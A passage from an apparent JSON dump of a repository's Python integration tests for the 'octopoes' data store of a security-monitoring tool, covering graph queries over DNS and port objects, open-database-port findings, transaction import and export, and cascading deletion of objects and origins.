name_server_hostname=hostnames[3].reference, value=\"test\")\n        for i in range(3)\n    ]\n    dns_aaaa_records = [DNSAAAARecord(hostname=hostnames[3].reference, address=addresses[0].reference, value=\"test\")]\n    dns_mx_records = [DNSMXRecord(hostname=hostnames[1].reference, mail_hostname=hostnames[3].reference, value=\"test\")]\n    dns_a_records = [DNSARecord(hostname=hostnames[3].reference, address=v4_addresses[0].reference, value=\"test\")]\n    sites = [Website(ip_service=ip_services[0].reference, hostname=hostnames[0].reference)]\n\n    all_new_oois = (\n        hostnames\n        + addresses\n        + v4_addresses\n        + ports\n        + services\n        + ip_services\n        + dns_ns_records\n        + dns_a_records\n        + dns_aaaa_records\n        + dns_mx_records\n        + sites\n    )\n    octopoes_api_connector.save_observation(\n        Observation(\n            method=\"normalizer_id\",\n            source=network.reference,\n            source_method=\"manual\",\n            task_id=uuid.uuid4(),\n            valid_time=valid_time,\n            result=all_new_oois,\n        )\n    )\n\n    octopoes_api_connector.save_many_scan_profiles(\n        [DeclaredScanProfile(reference=ooi.reference, level=ScanLevel.L2) for ooi in all_new_oois + [network]],\n        valid_time,\n    )\n\n    # Regarding these queries, we test the following relations:\n    #     websites[0] -{hostname}-> hostnames[0]\n    #         <-{hostname}- dns_ns_records[0] -{name_server_hostname}-> hostnames[3]\n    #         <-{hostname}- dns_aaa_records[0] -> ip_addresses[0]\n\n    # Hostname -> Network\n    query = \"Hostname.network\"\n    results = octopoes_api_connector.query(query, valid_time)\n    assert len(results) == 10\n\n    # Website -> Hostname -> DNSNSRecord\n    query = \"Website.hostname.<hostname[is DNSNSRecord]\"\n    results = octopoes_api_connector.query(query, valid_time)\n    assert len(results) == 1\n\n    # Website -> Hostname -> DNSNSRecord -> Hostname -> DNSAAAARecord\n    query = \"Website.hostname.<hostname[is DNSNSRecord].name_server_hostname.<hostname[is DNSAAAARecord].address\"\n    results = octopoes_api_connector.query(query, valid_time)\n    assert len(results) == 1\n    assert str(results[0].address) == \"3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\"\n\n    # Regarding this query, we test the following relations:\n    #         -{mail_hostname}-> hostnames[3] <-{hostname}- dns_a_records[0]\n    #         -{address}-> v4_addresses[0] <-{address}- ip_ports[1]\n\n    # Hostname -> DNSMXRecord -> Hostname -> DNSARecord -> IPAddress -> IPPort\n    query = \"Hostname.<hostname[is DNSMXRecord].mail_hostname.<hostname[is DNSARecord].address.<address[is IPPort]\"\n    results = octopoes_api_connector.query(query, valid_time)\n    assert len(results) == 1\n    assert str(results[0].port) == \"443\"\n\n    results = octopoes_api_connector.query(query, valid_time, source=hostnames[0])\n    assert len(results) == 0\n\n    results = octopoes_api_connector.query(query, valid_time, source=hostnames[1])\n    assert len(results) == 1\n\n    query = \"Hostname.<hostname[is DNSNSRecord]\"\n    assert len(octopoes_api_connector.query(query, valid_time, hostnames[0])) == 1\n    assert len(octopoes_api_connector.query(query, valid_time, hostnames[1])) == 1\n    assert len(octopoes_api_connector.query(query, valid_time, hostnames[2])) == 1\n    assert len(octopoes_api_connector.query(query, valid_time, hostnames[3])) == 0\n\n    result = octopoes_api_connector.query_many(\n        query, valid_time, [hostnames[0], hostnames[1], hostnames[2], hostnames[3]]\n    )\n    assert len(result) == 3\n    assert result[0][0] == hostnames[0].reference\n    assert result[0][1] == dns_ns_records[0]\n\n\ndef test_no_disappearing_ports(octopoes_api_connector: OctopoesAPIConnector):\n    first_valid_time = datetime.now(timezone.utc)\n    import time\n\n    network = Network(name=\"test\")\n    octopoes_api_connector.save_declaration(Declaration(ooi=network, valid_time=first_valid_time))\n\n    ip = IPAddressV4(network=network.reference, address=\"10.10.10.10\")\n    tcp_port = IPPort(address=ip.reference, protocol=Protocol.TCP, port=3306, state=PortState.OPEN)\n\n    octopoes_api_connector.save_observation(\n        Observation(\n            method=\"kat_nmap_normalize\",\n            source=ip.reference,\n            source_method=\"nmap\",\n            task_id=uuid.uuid4(),\n            valid_time=first_valid_time,\n            result=[ip, tcp_port],\n        )\n    )\n\n    octopoes_api_connector.save_many_scan_profiles(\n        [DeclaredScanProfile(reference=ooi.reference, level=ScanLevel.L2) for ooi in [ip, tcp_port, network]],\n        first_valid_time,\n    )\n    second_valid_time = datetime.now(timezone.utc)\n\n    time.sleep(2)\n    octopoes_api_connector.recalculate_bits()\n    time.sleep(2)\n\n    findings = octopoes_api_connector.list_findings({severity for severity in RiskLevelSeverity}, second_valid_time)\n\n    assert findings.items == [\n        Finding(\n            finding_type=KATFindingType(id=\"KAT-OPEN-DATABASE-PORT\").reference,\n            description=\"Port 3306/tcp is a database port and should not be open.\",\n            ooi=tcp_port.reference,\n        )\n    ]\n\n    udp_port = IPPort(address=ip.reference, protocol=Protocol.UDP, port=53, state=PortState.OPEN)\n\n    octopoes_api_connector.save_observation(\n        Observation(\n            method=\"kat_nmap_normalize\",\n            source=ip.reference,\n            source_method=\"nmap-udp\",\n            task_id=uuid.uuid4(),\n            valid_time=second_valid_time,\n            result=[ip, udp_port],\n        )\n    )\n\n    octopoes_api_connector.save_scan_profile(\n        DeclaredScanProfile(reference=udp_port.reference, level=ScanLevel.L2), second_valid_time\n    )\n\n    assert octopoes_api_connector.get(udp_port.reference, second_valid_time)\n\n    octopoes_api_connector.recalculate_bits()\n    time.sleep(2)\n\n    third_valid_time = datetime.now(timezone.utc)\n\n    assert octopoes_api_connector.get(udp_port.reference, third_valid_time)\n\n    findings = octopoes_api_connector.list_findings({severity for severity in RiskLevelSeverity}, third_valid_time)\n    assert octopoes_api_connector.get(tcp_port.reference, third_valid_time)\n\n    assert findings.items == [\n        Finding(\n            finding_type=KATFindingType(id=\"KAT-OPEN-DATABASE-PORT\").reference,\n            description=\"Port 3306/tcp is a database port and should not be open.\",\n            ooi=tcp_port.reference,\n        )\n    ]\n"
  },
  {
    "path": "octopoes/tests/integration/test_io.py",
    "content": "import json\nimport os\nimport time\nimport uuid\nfrom datetime import datetime\nfrom operator import itemgetter\n\nimport pytest\n\nfrom octopoes.api.models import Declaration, Observation\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models.ooi.network import Network\n\nif os.environ.get(\"CI\") != \"1\":\n    pytest.skip(\"Needs XTDB multinode container.\", allow_module_level=True)\n\n\ndef test_io(octopoes_api_connector: OctopoesAPIConnector, valid_time: datetime):\n    network = Network(name=\"internet\")\n    octopoes_api_connector.save_declaration(Declaration(ooi=network, valid_time=valid_time))\n    time.sleep(2)\n\n    assert octopoes_api_connector.list_objects(types={Network}, valid_time=valid_time).count == 1\n    network_object = octopoes_api_connector.list_objects(types={Network}, valid_time=valid_time).items[0]\n    assert network_object.name == \"internet\"\n    assert network_object.reference == network.reference\n\n    txops = octopoes_api_connector.export_all()\n    transactions = list(map(itemgetter(\"txOps\"), txops))\n    data = {\n        \"object_type\": \"Network\",\n        \"user_id\": None,\n        \"Network/primary_key\": \"Network|internet\",\n        \"Network/name\": \"internet\",\n        \"xt/id\": \"Network|internet\",\n    }\n    dt = valid_time.strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n    target = json.loads(json.dumps([\"put\", data, dt]))\n    assert any([target in tx for tx in transactions])\n\n    res = octopoes_api_connector.import_new(json.dumps(txops))\n    assert res == {\"detail\": len(transactions)}\n    time.sleep(2)\n\n    assert octopoes_api_connector.list_objects(types={Network}, valid_time=valid_time).count == 1\n    network_object = octopoes_api_connector.list_objects(types={Network}, valid_time=valid_time).items[0]\n    assert network_object.name == \"internet\"\n    assert network_object.reference == network.reference\n\n    network_cat = f\"\"\"\n    [\n      {{\n        \"txId\": 101,\n        \"txTime\": \"2024-04-01T13:37:00Z\",\n        \"txOps\": [\n          [\n            \"put\",\n            {{\n              \"object_type\": \"Network\",\n              \"user_id\": null,\n              \"Network/primary_key\": \"Network|😸\",\n              \"Network/name\": \"😸\",\n              \"xt/id\": \"Network|😸\"\n            }},\n            \"{dt}\"\n          ]\n        ]\n      }}\n    ]\n    \"\"\"\n\n    res = octopoes_api_connector.import_add(network_cat)\n    assert res == {\"detail\": 1}\n    time.sleep(3)\n\n    assert len(list(map(itemgetter(\"txOps\"), octopoes_api_connector.export_all()))) > len(transactions)\n\n\ndef test_duplicate_origin_result_filter(octopoes_api_connector: OctopoesAPIConnector, valid_time: datetime):\n    network1 = Network(name=\"1\")\n    network2 = Network(name=\"2\")\n    octopoes_api_connector.save_observation(\n        Observation(\n            method=\"normalizer_id\",\n            source=network1.reference,\n            source_method=None,\n            task_id=uuid.uuid4(),\n            valid_time=valid_time,\n            result=[network1, network1, network2, network2],\n        )\n    )\n    origin = octopoes_api_connector.list_origins(task_id={}, valid_time=valid_time)\n    assert len(origin) == 1\n    assert len(origin[0].result) == 2\n    assert origin[0].result[0] == network1.reference\n    assert origin[0].result[1] == network2.reference\n"
  },
  {
    "path": "octopoes/tests/integration/test_ooi_deletion.py",
    "content": "import os\nimport time\nimport uuid\nfrom datetime import datetime\nfrom ipaddress import ip_address\nfrom unittest.mock import Mock\n\nimport pytest\n\nfrom octopoes.api.models import Affirmation, Declaration, Observation\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.core.service import OctopoesService\nfrom octopoes.events.events import OOIDBEvent, OriginDBEvent\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.records import NXDOMAIN, DNSARecord\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.monitoring import Application\nfrom octopoes.models.ooi.network import IPAddressV4, Network\nfrom octopoes.models.ooi.software import Software, SoftwareInstance\nfrom octopoes.models.origin import Origin, OriginType\n\nif os.environ.get(\"CI\") != \"1\":\n    pytest.skip(\"Needs XTDB multinode container.\", allow_module_level=True)\n\n\ndef printer(arg1, arg2):\n    print(arg1)\n    for i, k in enumerate(arg2):\n        print(f\">>{i}: {k}<<\")\n    print()\n\n\n@pytest.mark.xfail(reason=\"Issue #2083\")\ndef test_hostname_nxd_ooi(octopoes_api_connector: OctopoesAPIConnector, valid_time: datetime):\n    network = Network(name=\"internet\")\n    octopoes_api_connector.save_declaration(Declaration(ooi=network, valid_time=valid_time))\n    url = \"mispo.es\"\n    hostname = Hostname(network=network.reference, name=url)\n    octopoes_api_connector.save_declaration(Declaration(ooi=hostname, valid_time=valid_time))\n\n    original_size = len(octopoes_api_connector.list_origins(task_id={}, valid_time=valid_time))\n    assert original_size >= 2\n    octopoes_api_connector.recalculate_bits()\n    bits_size = len(octopoes_api_connector.list_origins(task_id={}, valid_time=valid_time))\n    assert bits_size >= original_size\n\n    nxd = NXDOMAIN(hostname=hostname.reference)\n    octopoes_api_connector.save_observation(\n        Observation(\n            method=\"normalizer_id\", source=hostname.reference, task_id=uuid.uuid4(), valid_time=valid_time, result=[nxd]\n        )\n    )\n    octopoes_api_connector.recalculate_bits()\n\n    octopoes_api_connector.delete(network.reference, valid_time=valid_time)\n    octopoes_api_connector.delete(hostname.reference, valid_time=valid_time)\n\n    # This sleep is here because otherwise on some systems this test will fail\n    # Delete when issue #2083 is resolved...\n    time.sleep(2)\n    assert len(octopoes_api_connector.list_origins(task_id={}, valid_time=valid_time)) < bits_size\n\n    octopoes_api_connector.recalculate_bits()\n\n    assert len(octopoes_api_connector.list_origins(task_id={}, valid_time=valid_time)) < original_size\n\n\ndef test_events_created_through_crud(xtdb_octopoes_service: OctopoesService, event_manager: Mock, valid_time: datetime):\n    network = Network(name=\"internet\")\n\n    origin = Origin(\n        origin_type=OriginType.DECLARATION,\n        method=\"\",\n        source=network.reference,\n        result=[network.reference],\n        task_id=uuid.uuid4(),\n    )\n    xtdb_octopoes_service.save_origin(origin, [network], valid_time)\n    xtdb_octopoes_service.commit()\n\n    assert len(event_manager.queue) == 2\n\n    call1 = event_manager.queue[0]\n    call2 = event_manager.queue[1]\n\n    assert isinstance(call1, OOIDBEvent)\n    assert isinstance(call2, OriginDBEvent)\n\n    assert call1.old_data is None\n    assert call1.new_data == network\n    assert call1.operation_type.value == \"create\"\n\n    assert call2.old_data is None\n    assert call2.new_data == origin\n    assert call2.operation_type.value == \"create\"\n\n    xtdb_octopoes_service.ooi_repository.delete_if_exists(network.reference, valid_time)\n    xtdb_octopoes_service.commit()\n\n    assert len(event_manager.queue) == 3  # Origin will be deleted by the worker due to the OOI delete event\n    call3 = event_manager.queue[2]\n    assert isinstance(call3, OOIDBEvent)\n    assert call3.operation_type.value == \"delete\"\n\n\ndef test_events_created_in_worker_during_handling(\n    xtdb_octopoes_service: OctopoesService, event_manager: Mock, valid_time: datetime\n):\n    network = Network(name=\"internet\")\n\n    origin = Origin(\n        origin_type=OriginType.DECLARATION,\n        method=\"\",\n        source=network.reference,\n        result=[network.reference],\n        task_id=uuid.uuid4(),\n    )\n    xtdb_octopoes_service.save_origin(origin, [network], valid_time)\n    xtdb_octopoes_service.commit()\n    xtdb_octopoes_service.ooi_repository.delete_if_exists(network.reference, valid_time)\n    xtdb_octopoes_service.commit()\n\n    assert len(event_manager.queue) == 3\n    event = event_manager.queue[2]  # OOIDelete event\n\n    assert isinstance(event, OOIDBEvent)\n    assert event.operation_type.value == \"delete\"\n\n    for event in event_manager.queue:\n        xtdb_octopoes_service.process_event(event)\n    xtdb_octopoes_service.commit()\n\n    assert len(event_manager.queue) == 8  # Handling OOI delete event triggers Origin delete event\n\n    event = event_manager.queue[7]  # OOIDelete event\n\n    assert isinstance(event, OriginDBEvent)\n    assert event.operation_type.value == \"delete\"\n\n\ndef test_events_deletion_after_bits(xtdb_octopoes_service: OctopoesService, event_manager: Mock, valid_time: datetime):\n    network = Network(name=\"internet\")\n\n    origin = Origin(\n        origin_type=OriginType.DECLARATION,\n        method=\"manual\",\n        source=network.reference,\n        result=[network.reference],\n        task_id=uuid.uuid4(),\n    )\n\n    url = \"mispo.es\"\n    hostname = Hostname(network=network.reference, name=url)\n\n    xtdb_octopoes_service.save_origin(origin, [network], valid_time)\n    xtdb_octopoes_service.ooi_repository.save(hostname, valid_time)\n    print(1)\n    print(f\"PROCESSED {event_manager.complete_process_events(xtdb_octopoes_service)}\")\n    printer(\"OOIS\", xtdb_octopoes_service.ooi_repository.list_oois({OOI}, valid_time).items)\n    printer(\"ORIGINS\", xtdb_octopoes_service.origin_repository.list_origins(valid_time))\n    printer(\"EVENTS\", event_manager.queue)\n\n    xtdb_octopoes_service.recalculate_bits()\n\n    print(2)\n    print(f\"PROCESSED {event_manager.complete_process_events(xtdb_octopoes_service)}\")\n    printer(\"OOIS\", xtdb_octopoes_service.ooi_repository.list_oois({OOI}, valid_time).items)\n    printer(\"ORIGINS\", xtdb_octopoes_service.origin_repository.list_origins(valid_time))\n    printer(\"EVENTS\", event_manager.queue)\n\n    xtdb_octopoes_service.ooi_repository.delete_if_exists(network.reference, valid_time)\n    xtdb_octopoes_service.ooi_repository.delete_if_exists(hostname.reference, valid_time)\n\n    print(3)\n    print(f\"PROCESSED {event_manager.complete_process_events(xtdb_octopoes_service)}\")\n    printer(\"OOIS\", xtdb_octopoes_service.ooi_repository.list_oois({OOI}, valid_time).items)\n    printer(\"ORIGINS\", xtdb_octopoes_service.origin_repository.list_origins(valid_time))\n    printer(\"EVENTS\", event_manager.queue)\n\n    print(f\"TOTAL PROCESSED {event_manager.processed}\")\n\n\ndef test_deletion_events_after_nxdomain(\n    xtdb_octopoes_service: OctopoesService, event_manager: Mock, valid_time: datetime\n):\n    network = Network(name=\"internet\")\n\n    origin = Origin(\n        origin_type=OriginType.DECLARATION,\n        method=\"manual\",\n        source=network.reference,\n        result=[network.reference],\n        task_id=uuid.uuid4(),\n    )\n\n    url = \"mispo.es\"\n    hostname = Hostname(network=network.reference, name=url)\n\n    xtdb_octopoes_service.save_origin(origin, [network], valid_time)\n    xtdb_octopoes_service.ooi_repository.save(hostname, valid_time)\n\n    event_manager.complete_process_events(xtdb_octopoes_service)\n\n    finding_types = [\n        KATFindingType(id=\"KAT-NO-SPF\"),\n        KATFindingType(id=\"KAT-NO-DMARC\"),\n        KATFindingType(id=\"KAT-NO-DKIM\"),\n    ]\n\n    findings = [Finding(finding_type=ft.reference, ooi=hostname.reference) for ft in finding_types]\n\n    finding_origin = Origin(\n        origin_type=OriginType.OBSERVATION,\n        method=\"\",\n        source=network.reference,\n        result=[finding.reference for finding in findings],\n        task_id=uuid.uuid4(),\n    )\n\n    for finding in findings:\n        xtdb_octopoes_service.ooi_repository.save(finding, valid_time)\n    xtdb_octopoes_service.save_origin(finding_origin, findings, valid_time)\n\n    event_manager.complete_process_events(xtdb_octopoes_service)\n\n    xtdb_octopoes_service.recalculate_bits()\n\n    event_manager.complete_process_events(xtdb_octopoes_service)\n\n    assert len(list(filter(lambda x: x.operation_type.value == \"delete\", event_manager.queue))) == 0\n    assert xtdb_octopoes_service.ooi_repository.list_oois({OOI}, valid_time).count == 8\n\n    nxd = NXDOMAIN(hostname=hostname.reference)\n    xtdb_octopoes_service.ooi_repository.save(nxd, valid_time)\n\n    nxd_origin = Origin(\n        origin_type=OriginType.OBSERVATION,\n        method=\"\",\n        source=network.reference,\n        result=[nxd.reference],\n        task_id=uuid.uuid4(),\n    )\n    xtdb_octopoes_service.save_origin(nxd_origin, [nxd], valid_time)\n\n    event_manager.complete_process_events(xtdb_octopoes_service)\n\n    xtdb_octopoes_service.recalculate_bits()\n\n    event_manager.complete_process_events(xtdb_octopoes_service)\n\n    assert len(list(filter(lambda x: x.operation_type.value == \"delete\", event_manager.queue))) >= 3\n    assert xtdb_octopoes_service.ooi_repository.list_oois({OOI}, valid_time).count == 6\n\n\n@pytest.mark.xfail(reason=\"Wappalyzer works on wrong input objects (to be addressed)\")\ndef test_deletion_events_after_nxdomain_with_wappalyzer_findings_included(\n    xtdb_octopoes_service: OctopoesService, event_manager: Mock, valid_time: datetime\n):\n    network = Network(name=\"internet\")\n\n    origin = Origin(\n        origin_type=OriginType.DECLARATION,\n        method=\"\",\n        source=network.reference,\n        result=[network.reference],\n        task_id=uuid.uuid4(),\n    )\n\n    url = \"mispo.es\"\n    hostname = Hostname(network=network.reference, name=url)\n\n    xtdb_octopoes_service.save_origin(origin, [network], valid_time)\n    xtdb_octopoes_service.ooi_repository.save(hostname, valid_time)\n\n    event_manager.complete_process_events(xtdb_octopoes_service)\n\n    software_oois = [\n        Software(name=\"Bootstrap\", version=\"3.3.7\", cpe=\"cpe:/a:getbootstrap:bootstrap\"),\n        Software(name=\"Nginx\", version=\"1.18.0\", cpe=\"cpe:/a:nginx:nginx\"),\n        Software(name=\"cdnjs\"),\n        Software(name=\"jQuery Migrate\", version=\"1.0.0\"),\n        Software(name=\"jQuery\", version=\"3.6.0\", cpe=\"cpe:/a:jquery:jquery\"),\n    ]\n    instances = [SoftwareInstance(ooi=hostname.reference, software=software.reference) for software in software_oois]\n\n    software_origin = Origin(\n        origin_type=OriginType.OBSERVATION,\n        method=\"\",\n        source=network.reference,\n        result=[x.reference for x in (software_oois + instances)],\n        task_id=uuid.uuid4(),\n    )\n\n    for software, instance in zip(software_oois, instances):\n        xtdb_octopoes_service.ooi_repository.save(software, valid_time)\n        xtdb_octopoes_service.ooi_repository.save(instance, valid_time)\n    xtdb_octopoes_service.save_origin(software_origin, software_oois + instances, valid_time)\n\n    event_manager.complete_process_events(xtdb_octopoes_service)\n\n    xtdb_octopoes_service.recalculate_bits()\n\n    finding_types = [\n        KATFindingType(id=\"KAT-NO-SPF\"),\n        KATFindingType(id=\"KAT-NO-DMARC\"),\n        KATFindingType(id=\"KAT-NO-DKIM\"),\n    ]\n\n    findings = [Finding(finding_type=ft.reference, ooi=hostname.reference) for ft in finding_types]\n\n    finding_origin = Origin(\n        origin_type=OriginType.OBSERVATION,\n        method=\"\",\n        source=network.reference,\n        result=[finding.reference for finding in findings],\n        task_id=uuid.uuid4(),\n    )\n\n    for finding in findings:\n        xtdb_octopoes_service.ooi_repository.save(finding, valid_time)\n    xtdb_octopoes_service.save_origin(finding_origin, findings, valid_time)\n\n    event_manager.complete_process_events(xtdb_octopoes_service)\n\n    xtdb_octopoes_service.recalculate_bits()\n\n    event_manager.complete_process_events(xtdb_octopoes_service)\n\n    assert len(list(filter(lambda x: x.operation_type.value == \"delete\", event_manager.queue))) == 0\n    assert xtdb_octopoes_service.ooi_repository.list_oois({OOI}, valid_time).count == 16\n\n    nxd = NXDOMAIN(hostname=hostname.reference)\n    xtdb_octopoes_service.ooi_repository.save(nxd, valid_time)\n\n    nxd_origin = Origin(\n        origin_type=OriginType.OBSERVATION,\n        method=\"\",\n        source=network.reference,\n        result=[nxd.reference],\n        task_id=uuid.uuid4(),\n    )\n    xtdb_octopoes_service.save_origin(nxd_origin, [nxd], valid_time)\n\n    event_manager.complete_process_events(xtdb_octopoes_service)\n\n    xtdb_octopoes_service.recalculate_bits()\n\n    event_manager.complete_process_events(xtdb_octopoes_service)\n\n    assert len(list(filter(lambda x: x.operation_type.value == \"delete\", event_manager.queue))) >= 3\n    assert xtdb_octopoes_service.ooi_repository.list_oois({OOI}, valid_time).count == 4\n\n\ndef test_easy_chain_deletion(xtdb_octopoes_service: OctopoesService, event_manager: Mock, valid_time: datetime):\n    network = Network(name=\"internet\")\n\n    network_origin = Origin(\n        origin_type=OriginType.DECLARATION,\n        method=\"A\",\n        source=network.reference,\n        result=[network.reference],\n        task_id=uuid.uuid4(),\n    )\n    xtdb_octopoes_service.save_origin(network_origin, [network], valid_time)\n\n    def chain(source, results):\n        origin = Origin(\n            origin_type=OriginType.OBSERVATION,\n            method=\"\",\n            source=source.reference,\n            result=[result.reference for result in results],\n            task_id=uuid.uuid4(),\n        )\n        for result in results:\n            xtdb_octopoes_service.ooi_repository.save(result, valid_time)\n        xtdb_octopoes_service.save_origin(origin, results, valid_time)\n        event_manager.complete_process_events(xtdb_octopoes_service)\n        return origin, results\n\n    hostname = Hostname(network=network.reference, name=\"mispo.es\")\n    xtdb_octopoes_service.ooi_repository.save(hostname, valid_time)\n    event_manager.complete_process_events(xtdb_octopoes_service)\n\n    _, ip = chain(hostname, [IPAddressV4(network=network.reference, address=ip_address(\"134.209.85.72\"))])\n    chain(ip[0], [DNSARecord(hostname=hostname.reference, address=ip[0].reference, value=\"134.209.85.72\")])\n\n    software = Software(name=\"ACME\")\n    instance = SoftwareInstance(ooi=ip[0].reference, software=software.reference)\n    xtdb_octopoes_service.ooi_repository.save(software, valid_time)\n    xtdb_octopoes_service.ooi_repository.save(instance, valid_time)\n    event_manager.complete_process_events(xtdb_octopoes_service)\n\n    count = xtdb_octopoes_service.ooi_repository.list_oois({OOI}, valid_time).count\n\n    xtdb_octopoes_service.ooi_repository.delete_if_exists(ip[0].reference, valid_time)\n    event_manager.complete_process_events(xtdb_octopoes_service)\n\n    assert xtdb_octopoes_service.ooi_repository.list_oois({OOI}, valid_time).count < count\n    assert len(list(filter(lambda x: x.operation_type.value == \"delete\", event_manager.queue))) > 0\n\n\ndef test_basic_chain_deletion(xtdb_octopoes_service: OctopoesService, event_manager: Mock, valid_time: datetime):\n    def chain(source, results):\n        origin = Origin(\n            origin_type=OriginType.OBSERVATION,\n            method=\"\",\n            source=source.reference,\n            result=[result.reference for result in results],\n            task_id=uuid.uuid4(),\n        )\n        for result in results:\n            xtdb_octopoes_service.ooi_repository.save(result, valid_time)\n        xtdb_octopoes_service.save_origin(origin, results, valid_time)\n        event_manager.complete_process_events(xtdb_octopoes_service)\n        return origin, results\n\n    software1 = Software(name=\"ACME\", version=\"v1\")\n    xtdb_octopoes_service.ooi_repository.save(software1, valid_time)\n    event_manager.complete_process_events(xtdb_octopoes_service)\n\n    chain(software1, [Software(name=\"ACME\", version=\"v2\")])\n\n    xtdb_octopoes_service.ooi_repository.delete_if_exists(software1.reference, valid_time)\n    event_manager.complete_process_events(xtdb_octopoes_service)\n\n    assert xtdb_octopoes_service.ooi_repository.list_oois({OOI}, valid_time).count == 0\n    assert len(list(filter(lambda x: x.operation_type.value == \"delete\", event_manager.queue))) > 0\n\n\ndef test_affirming_ooi_delete(octopoes_api_connector: OctopoesAPIConnector, valid_time: datetime):\n    # Make an object A\n    network = Network(name=\"internet\")\n    octopoes_api_connector.save_declaration(Declaration(ooi=network, valid_time=valid_time))\n\n    # Observe an object B \"derived\" by A\n    url = \"mispo.es\"\n    hostname = Hostname(network=network.reference, name=url)\n    hostname_origin = Observation(\n        method=\"\",\n        source=network.reference,\n        source_method=None,\n        result=[hostname],\n        task_id=uuid.uuid4(),\n        valid_time=valid_time,\n    )\n    octopoes_api_connector.save_observation(hostname_origin)\n    time.sleep(1)\n    assert octopoes_api_connector.list_objects({Hostname}, valid_time).count == 1\n\n    # Delete A and validate B is not present\n    octopoes_api_connector.delete(network.reference, valid_time)\n    time.sleep(1)\n    assert octopoes_api_connector.list_objects({Hostname}, valid_time).count == 0\n\n    # Re-observe an object B \"derived\" by A\n    octopoes_api_connector.save_declaration(Declaration(ooi=network, valid_time=valid_time))\n    octopoes_api_connector.save_observation(hostname_origin)\n    time.sleep(1)\n    assert octopoes_api_connector.list_objects({Hostname}, valid_time).count == 1\n\n    # Affirm object B\n    octopoes_api_connector.save_affirmation(\n        Affirmation(ooi=hostname, source_method=None, task_id=uuid.uuid4(), valid_time=valid_time)\n    )\n    time.sleep(1)\n\n    # Delete A and validate B is not present\n    octopoes_api_connector.delete(network.reference, valid_time)\n    time.sleep(1)\n    assert octopoes_api_connector.list_objects({Hostname}, valid_time).count == 0\n\n\ndef test_delecration_ooi_delete(octopoes_api_connector: OctopoesAPIConnector, valid_time: datetime):\n    # Make an object A\n    network = Network(name=\"internet\")\n    octopoes_api_connector.save_declaration(Declaration(ooi=network, valid_time=valid_time))\n\n    # Observe an object B \"derived\" by A\n    url = \"mispo.es\"\n    hostname = Hostname(network=network.reference, name=url)\n    hostname_origin = Observation(\n        method=\"\",\n        source=network.reference,\n        source_method=None,\n        result=[hostname],\n        task_id=uuid.uuid4(),\n        valid_time=valid_time,\n    )\n    octopoes_api_connector.save_observation(hostname_origin)\n    time.sleep(1)\n    assert octopoes_api_connector.list_objects({Hostname}, valid_time).count == 1\n\n    # Delete A and validate B is not present\n    octopoes_api_connector.delete(network.reference, valid_time)\n    time.sleep(1)\n    assert octopoes_api_connector.list_objects({Hostname}, valid_time).count == 0\n\n    # Re-observe an object B \"derived\" by A\n    octopoes_api_connector.save_declaration(Declaration(ooi=network, valid_time=valid_time))\n    octopoes_api_connector.save_observation(hostname_origin)\n    time.sleep(1)\n    assert octopoes_api_connector.list_objects({Hostname}, valid_time).count == 1\n\n    # Infer object B\n    octopoes_api_connector.save_declaration(\n        Declaration(ooi=hostname, source_method=None, task_id=uuid.uuid4(), valid_time=valid_time)\n    )\n    time.sleep(1)\n\n    # Delete A and validate B is not present\n    octopoes_api_connector.delete(network.reference, valid_time)\n    time.sleep(1)\n    assert octopoes_api_connector.list_objects({Hostname}, valid_time).count == 1\n\n\ndef test_dangling_affirmation_delete(xtdb_octopoes_service: OctopoesService, event_manager: Mock, valid_time: datetime):\n    app = Application(name=\"Acme\")\n\n    xtdb_octopoes_service.ooi_repository.save(app, valid_time)\n    time.sleep(1)\n\n    declaration = Origin(\n        origin_type=OriginType.DECLARATION,\n        method=\"\",\n        source=app.reference,\n        result=[app.reference],\n        task_id=uuid.uuid4(),\n    )\n\n    xtdb_octopoes_service.save_origin(declaration, [app], valid_time)\n    time.sleep(1)\n    event_manager.complete_process_events(xtdb_octopoes_service)\n    time.sleep(1)\n\n    assert xtdb_octopoes_service.list_ooi({Application}, valid_time).count == 1\n    assert (\n        len(\n            xtdb_octopoes_service.origin_repository.list_origins(\n                origin_type=OriginType.DECLARATION, valid_time=valid_time\n            )\n        )\n        == 1\n    )\n\n    xtdb_octopoes_service.origin_repository.delete(declaration, valid_time)\n    time.sleep(1)\n    event_manager.complete_process_events(xtdb_octopoes_service)\n    time.sleep(1)\n\n    assert xtdb_octopoes_service.list_ooi({Application}, valid_time).count == 0\n    assert (\n        len(\n            xtdb_octopoes_service.origin_repository.list_origins(\n                origin_type=OriginType.DECLARATION, valid_time=valid_time\n            )\n        )\n        == 0\n    )\n\n    xtdb_octopoes_service.ooi_repository.save(app, valid_time)\n    xtdb_octopoes_service.commit()\n    time.sleep(1)\n\n    affirmation = Origin(\n        origin_type=OriginType.AFFIRMATION,\n        method=\"\",\n        source=app.reference,\n        result=[app.reference],\n        task_id=uuid.uuid4(),\n    )\n\n    xtdb_octopoes_service.save_origin(affirmation, [app], valid_time)\n    time.sleep(1)\n    event_manager.complete_process_events(xtdb_octopoes_service)\n    time.sleep(1)\n\n    assert xtdb_octopoes_service.list_ooi({Application}, valid_time).count == 0\n    assert (\n        len(\n            xtdb_octopoes_service.origin_repository.list_origins(\n                origin_type=OriginType.AFFIRMATION, valid_time=valid_time\n            )\n        )\n        == 0\n    )\n"
  },
  {
    "path": "octopoes/tests/integration/test_ooi_repository.py",
